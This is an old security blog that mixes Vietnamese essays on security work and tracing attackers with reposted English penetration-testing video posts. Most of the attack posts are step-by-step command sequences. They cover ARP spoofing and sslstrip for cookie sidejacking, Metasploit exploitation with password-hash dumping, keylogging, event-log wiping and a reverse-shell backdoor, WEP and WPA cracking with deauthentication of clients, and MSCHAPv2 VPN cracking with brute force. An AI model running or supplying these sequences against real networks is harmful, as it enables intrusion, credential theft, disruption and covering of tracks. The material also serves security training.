Friday, June 18, 2010

Distributed SSH Brute Force Attempts on the rise again

  • Deploy the SSH server on a port other than 22/TCP
  • Deploy one of the SSH brute force prevention tools
  • Disallow remote root logins
  • Set PasswordAuthentication to "no" and use keys
  • If you must use passwords, ensure that they are all complex
  • Use AllowGroups to limit access to a specific group of users
  • Use as a chroot jail for SSH if possible
  • Limit the IP ranges that can connect to SSH

Tuesday, June 8, 2010

Phần thưởng nào dành cho người làm bảo mật?

Nên đọc bài này nếu bạn có ước muốn trở thành chuyên gia bảo mật:

One of the problems with the field of Information Security, particularly secure application development, is that it is not an inherently rewarding practice. Development is a rewarding practice when you add new functionality, or make existing processes easier to use or more efficient.

The really dangerous part of this lack of reward is that hacking is inherently rewarding for those with that mindset. I've told co-workers many times that if I didn't really have a concern with the legality or the morality of it, (we won't get into whether Robin Hood was virtuous or not), I would probably want to be a hacker. In a development world, or even in support of a development world, you're driven by project deadlines and feature sets that the users covet. Security is (generally) an afterthought. In the black hat world, unless you're being directly paid for something you're supposed to produce ultimately, you're driven by your own creativity and your own ability to come up with an effective attack, and to do so without being caught, and before everybody else does.

To me, the second sounds very rewarding. In the former, you're paid to implement somebody else's creativity, and on their timeline, etc. In the latter, you're driven by the good idea. - new and crazy ideas are rewarded, not dismissed.
Đây chính xác là những gì tôi cảm nhận được sau hơn hai năm làm việc như một người gác cổng. Nếu cho rằng sự tín nhiệm của sếp và lương bổng là phần thưởng lớn nhất của một người đi làm thuê thì chắc chắn rằng phần thưởng của tôi phần nhiều không đến từ công tác bảo mật. Bảo mật là một công tác quan trọng, sếp của tôi hiểu điều đó nhưng rõ ràng những gì mà công tác này đem lại cho công ty là hết sức mơ hồ. Tôi đã ngăn chặn được bao nhiêu vụ tấn công? Mỗi vụ tấn công đó nếu xảy ra sẽ làm cho công ty mất bao nhiêu tiền? Thật khó mà đưa ra một con số cụ thể.

Nếu ta chia nhỏ người làm bảo mật ra hai nhóm, nhóm chuyên thực hiện công tác bảo vệ và nhóm chuyên thực hiện công tác tấn công, thì công việc của nhóm đầu cũng không đem lại nhiều pleasure như công việc của nhóm sau. Ví dụ như triển khai mod_security sẽ không hấp dẫn bằng việc tìm và khai thác XSS, CSRF hay SQL Injection. Hay triển khai SELinux sẽ không thú vị bằng việc phát hiện và khai thác lỗi tràn bộ đệm trong một phần mềm mà công ti bạn đang sử dụng hoặc phát triển. Nhóm tấn công cũng dễ có nhiều credit hơn là nhóm bảo vệ, bởi lẽ họ chứng minh được hiệu quả thực tế công việc của họ (bằng cách tìm ra lỗi và khai thác chúng). Tôi kiêm nhiệm luôn hai công việc này và kinh nghiệm cho thấy sếp quan tâm đến những lỗ hổng mà tôi tìm thấy hơn là những giải pháp mà tôi sẽ triển khai để đề phòng các tấn công sẽ xảy ra (hoặc không bao giờ xảy ra).

Trong thực tế, phần thưởng của tôi phần nhiều đến từ những dự án hoàn toàn không liên quan gì đến bảo mật. Đó là những dự án xây dựng và triển khai hệ thống thông tin, những dự án tạo ra được một kết quả cụ thể mà sếp và sếp của sếp có thể thấy được. Đây cũng là điều dễ hiểu, nó cho thấy quan điểm bảo mật là một vấn đề kinh tế của Bruce Schneier là hoàn toàn có cơ sở. Nếu sếp tôi chỉ trả tiền để tôi bảo vệ những hệ thống có quá nhiều lỗ hổng, rõ ràng sếp tôi chỉ đang làm giảm nhẹ cái risk của công ti hơn là giải quyết vấn đề thực sự: xây dựng được hệ thống an toàn ngay từ đầu. Đây mới chính là nhiệm vụ của người làm bảo mật. Bảo mật không thể là một qui trình đi sau qui trình phát triển sản phẩm hay xây dựng hệ thống, bảo mật phải diễn ra song hành cùng các qui trình này. Nghĩa là bạn, một chuyên gia bảo mật, phải giúp cho sếp của bạn xây dựng được những hệ thống thông tin an toàn, hiệu quả và kinh tế ngay từ đầu. Lúc đó khả năng của bạn mới được phát huy tối đa và lẽ dĩ nhiên, phần thưởng của bạn cũng sẽ rất xứng đáng.

-Thái

Monday, June 7, 2010

[Video] Session Sidejacking (Ferret and Hamster)

Watch video on-line: http://g0tmi1k.blip.tv/file/3288793
Download video: http://www.mediafire.com/?zzdwmyzm3mz
Commands: http://pastebin.com/dEt7SAcS


What is this?
This videos demos, how to "Session Sidejacking". Sidejacking is where you clone your targets cookies therefore your "sharing" their identity for that account (without ever knowing the username or password)!


What do I need?

> arpspoof
> sslstrip
> Hamster (and Ferret)
*all in BackTrack 4 Final*


Software
Name: arpspoof (DSniff)
Version: 2.3
Home Page: http://www.monkey.org/~dugsong/dsniff/
Download Link: http://www.monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz

Name: sslstrip
Version: 0.6
Home Page: http://www.thoughtcrime.org/software/sslstrip/index.html
Download Link: http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.6.tar.gz

Name: Hamster Sidejacking Tool
Version: 2.0
Home Page: http://hamster.erratasec.com/
Download Link: http://hamster.erratasec.com/downloads/hamster-2.0.0.tar.z


Commands:
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.1.104 192.168.1.1

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
sslstrip -p -k -f

/pentest/sniffers/hamster/ferret -i eth0

/pentest/sniffers/hamster/hamster

Konqueror -> Settings -> Configure Konqueror -> Proxy -> Manually. 127.0.0.1:1234
Konqueror -> http://hamster

[Video] Messing with Metasploit

Links
Watch video on-line: http://g0tmi1k.blip.tv/file/3308154
Download video: http://www.mediafire.com/?ztqzyl3j1mz
Commands
: http://pastebin.com/9kygLiRe


What is this?
A basic guide to show how powerful the metasploit framework is!
>Setup & run a exploit.
>Use nmap to scan.
>Use db_autopwn (to exploit the masses!)
>Gather information about the target
>Read, download and upload files
>Run scripts
>Create & use a backdoor.


What do I need?
> Metasploit Framework
> (Vulnerable) target (e.g. Windows XP SP0/1)


Software
Name: Metasploit
Version: 3.3.3
Home Page: http://www.metasploit.com/
Download Link: http://www.metasploit.com/framework/download/


Commands:
cd /pentest/exploits/framework3/
./msfconsole
db_create g0tmi1k
db_hosts
db_add_host 10.0.0.4
db_hosts

#show ##Show everything! [wasn't in video]

use windows/smb/ms06_040_netapi
#use windows/dcerpc/ms03_026_dcom ##Different exploit, didn't find it as reliable

#set paypload windows/shell_bind_tcp ##Could do a windows shell (not as powerful as meterpreter)
#set payload windows/meterpreter/reverse_tcp ##Could do a meterpreter (but we do it later!)
set payload windows/vncinject/bind_tcp
show options
set lhost 10.0.0.6
show options
exploit

db_del_host 10.0.0.4
db_hosts
db_nmap -n 1O 10.0.0.1-5
db_hosts

db_autopwn -t -p -e

sessions -l
sessoins -i 1

sysinfo
#ipconfig ##IP information [wasn't in video]
idletime
ps
kill [number]
getuid
#migrate // getsystem // use priv ##If the exploit doesn't have system privileges! [wasn't in video]
hashdump
# execute ## Runs a command [wasn't in video]
shell
pwd
ls
cd C:/
ls
mkdir g0tmi1k
ls
cd g0tmi1k
cat C:/boot.ini
download C:/boot.ini /tmp/boot.ini
./msfpayload windows/meterpreter/reverse_tcp lhost=10.0.0.6 X > /tmp/g0tmi1k.exe
upload /tmp/g0tmi1k.exe C:/g0tmi1k/g0tmi1k.exe
run getgui -u g0tmi1k -p haveyou
run keylogrecorder
## More scripts: /pentest/exploits/framework3/scripts/meterpreter
#run scraper ##Gets information about target, dumps reg etc[wasn't in video]
#run vnc ##Setups VNC [wasn't in video]
#run uploadexec ##Upload and run a program [wasn't in video]
clearev
exit -y
exit -y

##Start fresh for the backdoor!
./msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.0.0.6
exploit

## Somehow run: C:\g0tmi1k\g0tmi1k.exe


Notes:
Made a few slip-ups in the video and something went wrong with keylogrecorder.
This is only the basic stuff - it can do ALOT more! See commands for a few more basic things which I didnt do.

[Video] Cracking WiFi - WEP with a client (aircrack-ng)

Watch video on-line: http://g0tmi1k.blip.tv/file/3129452
Download video: http://www.mediafire.com/?mkwxq0gndy3
Commands: http://pastebin.com/TAAUw36Y


What is this?
Yet another video on "How to crack WEP".


How does this work?
ARP beacon is needed (depending on the attack method), so this can be re‐injected back into the network. To get this packets the attacker needs to disconnect a connected client currently on the network (if the attacker keeps on repeating this part, it will be a DoS to the client).

Once the key beacon has been captured and enough data injected/collected, it is now an offline attack either by brute force or a dictionary attack. Then its just a question of waiting then the attacker will have the key (brute forcing WEP can be less than 60 seconds!)

From here, the attacker can use that key to decrypt the captured data from before, and now is able to ‘read’ it as well as join the network.


What do I need?

> Aircrack-ng suite
> WiFi card that supports monitor mode & injection


Software
Name: Aircrack-ng
Version: 1.0-rc3
Home Page: http://www.aircrack-ng.org/doku.php
Download Link: http://download.aircrack-ng.org/aircrack-ng-1.0-rc3.tar.gz


Commands:
airmon-ng stop mon0
airmon-ng start wlan0
airodump-ng --channel 8 --write output --bssid 00:19:5B:E7:52:70 mon0

aireplay-ng --arpreplay -e g0tmi1k -b 00:19:5B:E7:52:70 -h 00:12:17:94:90:0D mon0

aireplay-ng --deauth 10 -a 00:19:5B:E7:52:70 -c 00:12:17:94:90:0D mon0

aircrack-ng output*.cap

ifconfig wlan0 down
iwconfig wlan0 essid g0tmi1k
iwconfig wlan0 key 59EF19C76A
ifconfig wlan0 up
dhclient wlan0


Notes:
If you want WPA/WPA2 PSK (with a hidden SSID) - See: http://g0tmi1k.blogspot.com/2009/07/video-tutorial-how-to-crack-wpawpa2.html

[Script] [Video] chap2asleap.py (v0.1.1) Cracking VPN (asleap & THC-pptp-bruter)

Links
Watch on-line: http://g0tmi1k.blip.tv/file/3356422
Download Video: http://www.mediafire.com/?n2tjy2dhbkt
Commands: http://pastebin.com/RuaqiV6L
Script (chap2asleap.py) : http://www.mediafire.com/?wnkoyiai2ty


What is this?
A python script, to automatically generate the arguments for Joshua Wright's 'asleap' program.

This video demostrates an offline (asleap) and online (THC-pptp-bruter) attack on MSCHAP v2 software VPN.


How does this work?
From wireshark (and a Man In The Middle attack), you can get "CHAP Challenge" and "CHAP Response". We can break theses values down:
CHAP Challenge = Auth Challenge (16 bytes)
CHAP Response = Peer Challenge (16 bytes) and Peer Response (24 bytes)

After finding "Auth Challenge and Peer Challenge" we can add these to the username and hash (sha1) the result. This will generate the "Challenge".

Once we have the challenge, we can feed this into the asleap, along with CHAP Challenge.

This script does all the work for you (and more), it just needs the values from wireshark for it to work. As well as having the option for different styles of attack, you can either uses a dictionary/wordlist or use 'Genkeys' to generate a look up file for asleap (which is recommended). Also by using this, you can automatically run asleap with your arguments.


What do I need?
> asleap
> Python
> The script - chap2asleap.py
> Wireshark
> VPN
> THC-pptp-bruter


Software
Name: asleap
Version: 2.2
Home Page: http://www.willhackforsushi.com/Asleap.html
Download Link: http://www.willhackforsushi.com/code/asleap/2.2/asleap-2.2.tgz

Name: THC-pptp-bruter
Version: 0.1.4
Home Page: http://freeworld.thc.org
Download Link: http://freeworld.thc.org/download.php?t=r&f=thc-pptp-bruter-0.1.4.tar.gz

Name: chap2asleap.py
Version: 0.1.1
Home Page: http://g0tmi1k.blogspot.com
Download Link: http://www.mediafire.com/?wnkoyiai2ty


How to use chap2asleap.py:
1.) chmod 755 chap2asleap.py
2.) python chap2asleap.py


Commands:
echo 1 > /proc/sys/net/ipv4/ip_forward

arpspoof -i eth1 -t 10.0.0.3 10.0.0.9

arpspoof -i eth1 -t 10.0.0.9 10.0.0.3

wireshark -i eth1 -k

python chap2asleap.py
python chap2asleap.py -u g0tmi1k -c 3fb0e397540e8aa3df5eb08b0053092c -r df7661696051401f7192726630558ac200000000000000003c4b7c76ae82dd3050006c53d0bc6012db000acba0c5fec600 -x -v

cd /pentest/passwords/wordlists.lst
cat darkc0de.lst | thc-pptp-bruter -u g0tmi1k -n 99 -l 999 10.0.0.3


Notes:
Song: Two Fingers - Keman Rhythm
Video length: 03:03
Capture length: 5:48

Blog Post: http://g0tmi1k.blogspot.com/2010/03/script-chap2asleappy.html
Forum Post: http://www.backtrack-linux.org/forums/backtrack-videos/2347.htm



~g0tmi1k

Cracking WiFi - Sniffing Traffic (airdecap-ng & wireshark)

Watch video on-line: http://g0tmi1k.blip.tv/file/3373448
Download video: http://www.mediafire.com/?5mmtjy4j1m5
Commands: http://pastebin.com/cm4JW3fu


What is this?
This video shows, that you don't have to be connect to a wireless network, to see what data has been sent over it!


What do I need?

> Aircrack-ng
> Wireless Network Key
> Wireshark
> Pre Captured data


Software
Name: Aircrack-ng
Version: 1.0-rc3
Home Page: http://www.aircrack-ng.org/doku.php
Download Link: http://download.aircrack-ng.org/aircrack-ng-1.0-rc3.tar.gz

Name: Wireshark
Version: 1.2.6
Home Page: http://www.wireshark.org
Download Link: http://media-2.cacetech.com/wireshark/src/wireshark-1.2.6.tar.bz2



Commands:
airmon-ng start wlan0
airodump-ng mon0
airodump-ng mon0 -c 8 -w output --bssid 00:19:5B:E7:52:70


airdecap-ng -e g0tmi1k -w 59EF19C76A output-01.cap

wireshark
http.authbasic

[Video] Cracking WiFi - WPA/WPA2 (Aircrack-ng vs coWPAtty)

Watch video on-line: http://g0tmi1k.blip.tv/file/3356785
Download video: http://www.mediafire.com/?zzjyhqimmin
Commands: http://pastebin.com/b1eBmzKE


What is this?
Comparing Aircrack-ng versus coWPAtty, in the time it takes to crack a WPA2 PSK key.
It shows 4 different cracks, the time taken and speed of the crack (see results).
> Aircrack-ng (Dictionary)
> Aircrack-ng & airolib-ng (Pre-computed hashes)
> coWPAtty (Dictionary)
> coWPAtty & Genpmk (Pre-computed hashes)


How does this work?
To crack WPA/WPA2 PSK you need to capture a ‘Handshake’ . The best way to this packet the attacker needs to disconnect a connected client currently on the network (if the attacker keeps on repeating this part, it will be a DoS to the user).

Once the key packet has been captured, it is time to start an offline dictionary attack. If the network key is in the dictionary, its just a question of waiting to process the dictionary file.

From here, the attacker can use that key to decrypt the captured data from before, and now is able to ‘read’ it as well as join the network.

If there isn't a connected client - you cant do this. If the network key isnt in the dictionary file - you cant do this.

You can speed the the cracking process by creating pre-calculated hash files (see results - for how much faster!)

Results
Software Time (Seconds) Keys Per Second Pre Calculate Time (Seconds)
AirCrack-ng 256.2 652.94 0
AirCrack-ng + Airolib-ng 2 65685.4 1162.2
Cowpatty 787.71 205.35 0
Cowpatty + Genpmk 1.25 129715.92 1228.06
AirCrack-ng & Airolib-ng 1164.2 65685.4 1162.2
Cowpatty & Genpmk 1229.31 129715.92 1228.06

The dictionary had 311141 lines (3.33M (3,499,543 bytes))
The WPA key on line: 202762.
Therefore it had to test 65.1% of the dictionary.



Aircrack-ng is better with dictionary attack, whereas coWPAtty & Genpmk is better with Pre-computed hashes (also takes longer to calculate them!)


What do I need?

> Aircrack-ng suite
> WiFi card that supports monitor mode
> Big dictionary
> Processing power


Software
Name: Aircrack-ng
Version: 1.0-rc3
Home Page: http://www.aircrack-ng.org/doku.php
Download Link: http://download.aircrack-ng.org/aircrack-ng-1.0-rc3.tar.gz

Name: coWPAtty
Version: 4.3
Home Page: http://www.willhackforsushi.com/Cowpatty.html
Download Link: http://www.willhackforsushi.com/code/cowpatty/4.3/cowpatty-4.3.tgz


Commands:
airmon-ng start wlan0
airodump-ng mon0

airodump-ng --channel 5 --write output --bssid 00:24:B2:A0:51:14 mon0

aireplay-ng --deauth 1 -a 00:24:B2:A0:51:14 -c 00:14:17:94:90:0D mon0
aircrack-ng output-01.cap -w /root/tools/dictionaries/webster-dictionary.txt



airolib-ng crackwpa --import passwd /root/dictionaries/webster-dictionary.txt
airolib-ng crackwpa --import essid essid
airolib-ng crackwpa --stats
airolib-ng crackwpa --clean all
airolib-ng crackwpa --batch
airolib-ng crackwpa --verify all
aircrack -r crackwpa output-01.cap



cowpatty -s g0tmi1k -r /root/output-01.cap -f /root/dictionaries/webster-dictionary.txt



genpmk -s g0tmi1k -d /root/output-hash -f /root/dictionaries/webster-dictionary.txt
cowpatty -s g0tmi1k -r /root/output-01.cap -d /root/output-hash



wpa_passphrase g0tmi1k precivilization > wpa.conf
wpa_supplicant -Dwext -iwlan0 -c /root/wpa.conf
dhclient -r
dhclient wlan0
ping 192.168.1.1


Notes:
Video length: 08:38
Capture length: 01:14:29
Song: First Sate - Off the Radar (First State's 808 Clash Mix)

Blog Post: http://g0tmi1k.blogspot.com/2010/02/video-cracking-wifi-wpawpa2-aircrack-ng.html
Forum Post: http://www.backtrack-linux.org/forums/backtrack-videos/2394.htm



~g0tmi1k

Thursday, June 3, 2010

Tìm kẻ tấn công khi biêt IP

a- Kiểm tra xem cái đia chỉ WAN IP ấy có phải là IP của một Proxy server nào đó không? Nếu "yes" thì gần như là bótay.com.

b- Kiểm tra xem nó có phải là IP tĩnh (WAN static IP) không? Nếu "yes" thì còn may. Nó đang tấn công bạn từ một Webserver hay Fileserver... nào đó. Check thẳng vào server đó mà tìm tòi, dự đoán.

c- Nếu IP đó là một WAN dynamic IP do một ISP nào đó (thí dụ Viettel, VDC, FPT...) cung cấp, thì chú ý xác đinh tên của ISP, các thông tin liên quan có thể tìm thấy và chờ đợi.

d. Chờ cho đến khi nó hack lai máy (thí dụ webserver của mình), thì xác đinh ngay WAN IP của nó và lập tức check thẳng vào máy của nó, trong khi nó (hay ISP) chưa thay đổi WAN dynamic IP (của modem-router của nó).
Nếu nó (hay ISP) liên tục thay đổi WAN dynamic IP, thì cũng bótay.com.
Trong quá trình này kẻ thắng thường là người "thông minh hơn và quan trong là kiên nhẫn hơn".

e- Nhưng nếu nó đã thâm nhập đươc vào máy-server của bạn, chiếm đươc quyền admin. hay root và thay đổi Event log (cả các log khác nữa) trong hệ thống rồi, thì chắc chắn là bótay.com

Phát triển khả năng tư duy

Về khía cạnh "phát triển khả năng tư duy" thì đây là bài học của bản thân anh sau khi sống và làm việc ở nước ngoài nhiều năm, anh mới nhận ra giá trị và tầm quan trọng của nó.

Những năm đầu đi làm, anh rất ngỡ ngàng vì tay sếp chỉ đưa ra "problem" và chỉ cung cấp phương tiện để mình giải quyết "problem" chớ không bao giờ đưa ra phương án hoặc quy trình hoặc hướng dẫn nào hết. Trên thực tế, nếu muốn giải quyết "problem" mình cần phải có khả năng hiểu "problem" đó là gì và sau đó mình phải có khả năng xác định biên độ của "problem" và những điểm liên quan trực tiếp của "problem". Sau khi làm quen với việc phân tích và xác định "problem" để đi đến việc hình thành biện pháp (hoặc giải pháp) để khắc phục "problem", tự nhiên mình đào luyện cho mình khả năng tư duy. Khả năng tư duy càng nhạy bén thì giai đoạn tìm hiểu và xác định giải pháp cho trở ngại càng nhanh và càng chính xác.

Khi đi làm, mình không thể đến một ông sếp và nói "em bị problem này, anh chỉ em cách giải quyết với" được bởi vì giải quyết problem là chuyện của mình, là trách nhiệm trực tiếp của mình (vì mình ăn lương để làm việc). Nếu sếp của mình là người tốt bụng và đồng sự của mình là những người khoáng đạt, họ có thể góp ý hoặc hướng dẫn mình những điểm sơ khởi. Tuy nhiên, mình phải là người trực tiếp làm chủ và chịu trách nhiệm với việc giải quyết "problem" chớ không ai khác hết. Tư duy và dấn thân để đào luyện khả năng tư duy là phương tiện duy nhất giúp mình phát triển và thành công trong công việc.

Nói cho cùng, các thảo luận trên một diễn đàn kỹ thuật như HVA để làm gì? Tất nhiên là để giải quyết trở ngại nào đó. Nếu người thảo luận là những sinh viên đang đi học cần trợ giúp nào đó, thảo luận giúp định hướng và giúp phương pháp giải quyết. Tuy nhiên, cuối cùng sinh viên ấy cũng phải đi làm và phải đối diện với vô số "problem". Lúc ấy, nếu không trang bị cho mình khả năng tư duy đúng mức, chẳng có "forum" nào bên cạnh để giúp mình hết và chắc chắn cá nhân ấy sẽ không thể thành công và đi xa trong công việc được. Riêng với mảng security và exploitation, khả năng tư duy là phẩm chất không thể thiếu nếu muốn dấn thân. Muốn bảo mật cái gì đó phải hiểu rõ nó là cái gì và hoạt động ra sao. Tương tự, muốn exploit một cái gì đó cũng phải hiểu rõ nó là cái gì và hoạt động ra sao. Việc "hiểu rõ" này chính là kết quả của quá trình tư duy.

Sách vở, bài viết, thảo luận trên diễn đàn.... là chất liệu, khả năng tư duy là chất kết nối và điều kiện biến chất liệu thành kết quả nào đó. Tìm được câu trả lời trên diễn đàn (chẳng hạn) chỉ mới dừng lại ở mức độ tìm ra chất liệu, hành động biến chất liệu ấy thành sản phẩm là một việc hoàn toàn khác và phụ thuộc hoàn toàn ở từng cá nhân. Bởi vậy, đừng dừng lại ở chỗ "tìm chất liệu" mà nên đi đến chỗ "tạo sản phẩm" sau khi có chất liệu.